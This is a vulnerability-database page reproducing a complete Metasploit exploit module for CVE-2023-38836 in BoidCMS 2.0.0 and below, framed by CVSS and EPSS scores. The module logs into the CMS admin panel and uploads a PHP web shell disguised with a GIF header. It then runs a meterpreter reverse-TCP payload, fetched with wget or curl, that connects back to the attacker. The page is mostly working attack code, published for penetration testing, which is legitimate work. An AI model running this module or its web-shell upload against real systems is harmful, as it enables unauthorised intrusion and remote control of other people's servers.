Lucene search

K
zdtMetasploit1337DAY-ID-39387
HistoryMar 02, 2024 - 12:00 a.m.

BoidCMS 2.0.0 Command Injection Exploit

2024-03-0200:00:00
metasploit
0day.today
155
metasploit
command injection
boidcms
cve-2023-38836
improper sanitization
authenticated upload
php files
gif header
linux
unix
windows
payload
stability
reliability
side effects

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

7.1 High

AI Score

Confidence

Low

0.673 Medium

EPSS

Percentile

98.0%

This Metasploit module leverages CVE-2023-38836, an improper sanitization bug in BoidCMS versions 2.0.0 and below. BoidCMS allows the authenticated upload of a php file as media if the file has the GIF header, even if the file is a php file.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'BoidCMS Command Injection',
        'Description' => %q{
          This module leverages CVE-2023-38836, an improper sanitization bug in BoidCMS version 2.0.0
          and below.  BoidCMS allows the authenticated upload of a php file as media if the file has
          the GIF header, even if the file is a php file.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          '1337kid',    # Discovery
          'bwatters-r7' # Metasploit Module
        ],
        'References' => [
          [ 'CVE', '2023-38836' ],
          [ 'URL', 'https://github.com/1337kid/CVE-2023-38836']
        ],
        'Privileged' => false,
        'Arch' => ARCH_CMD,
        'Targets' => [
          [
            'nix Command',
            {
              'Platform' => ['linux', 'unix', 'python'],
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
                'FETCH_COMMAND' => 'WGET',
                'FETCH_WRITABLE_DIR' => '/tmp'
              }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => ['windows', 'python'],
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/http/x64/meterpreter_reverse_tcp',
                'FETCH_WRITABLE_DIR' => '%TEMP%',
                'FETCH_COMMAND' => 'CURL'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-07-13',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The path', '']),
      OptString.new('CMS_USERNAME', [true, 'Username', 'admin']),
      OptString.new('CMS_PASSWORD', [true, 'Password', 'password']),
      OptString.new('PHP_FILENAME', [true, 'The name for the php file to upload', "#{Rex::Text.rand_text_alphanumeric(5..11)}.php"])

    ])
    @token = nil
    @shell_filename = nil
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'keep_cookies' => true,
      'method' => 'GET'
    )
    if res && res.code == 200
      title = res.get_html_document.xpath('//title').first.to_s
      return Exploit::CheckCode::Detected('Detected BoidCMS, but the version is unknown.') if title.include?('BoidCMS')
    end
    return Exploit::CheckCode::Safe('Unable to retrieve BoidCMS title page')
  end

  def extract_token(res)
    token = nil
    if res && res.code == 200
      token = res.get_html_document.xpath("//input[@name='token']/@value").first
    end
    token
  end

  def cms_token
    # initial login
    return @token unless @token.nil?

    vprint_status('Getting Token')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'keep_cookies' => true,
      'method' => 'GET'
    )
    @token = extract_token(res)
  end

  def cms_login?(login_token)
    vprint_status('Logging into CMS')
    cms_password = datastore['CMS_PASSWORD']
    cms_username = datastore['CMS_USERNAME']
    vars_form_data =
      [
        {
          'name' => 'username',
          'data' => cms_username
        },
        {
          'name' => 'password',
          'data' => cms_password
        },
        {
          'name' => 'login',
          'data' => 'Login'
        },
        {
          'name' => 'token',
          'data' => login_token.to_s
        }
      ]
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_form_data' => vars_form_data
    )
    res && res.code == 302
  end

  def upload_php?(login_token, shell_filename)
    vprint_status("Uploading PHP file #{shell_filename}")
    vars_form_data =
      [
        {
          'name' => 'file',
          'data' => 'GIF89a;\n<?php system($_GET["cmd"]) ?>',
          'filename' => shell_filename
        },
        {
          'name' => 'token',
          'data' => login_token.to_s
        },
        {
          'name' => 'upload',
          'data' => 'Upload'
        }
      ]

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_get' => {
        'page' => 'media'
      },
      'vars_form_data' => vars_form_data
    )
    res && res.code == 302
  end

  def launch_payload(shell_filename, payload_cmd)
    # send the command to the php page
    vprint_status('launching Payload')
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, "/media/#{shell_filename}"),
      'method' => 'GET',
      'keep_cookies' => true,
      'vars_get' =>
        {
          'cmd' => payload_cmd
        }
    )
  end

  def exploit
    @shell_filename = datastore['PHP_FILENAME']
    login_token = cms_token

    fail_with(Failure::UnexpectedReply, 'Failed to retrieve token for login') if login_token.nil?
    fail_with(Failure::UnexpectedReply, 'Failed to log in') unless cms_login?(login_token)
    if upload_php?(login_token, @shell_filename)
      register_file_for_cleanup @shell_filename
      launch_payload(@shell_filename, payload.encoded)
    else
      fail_with(Failure::UnexpectedReply, 'Failed to upload php files')
    end
  end

end

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

7.1 High

AI Score

Confidence

Low

0.673 Medium

EPSS

Percentile

98.0%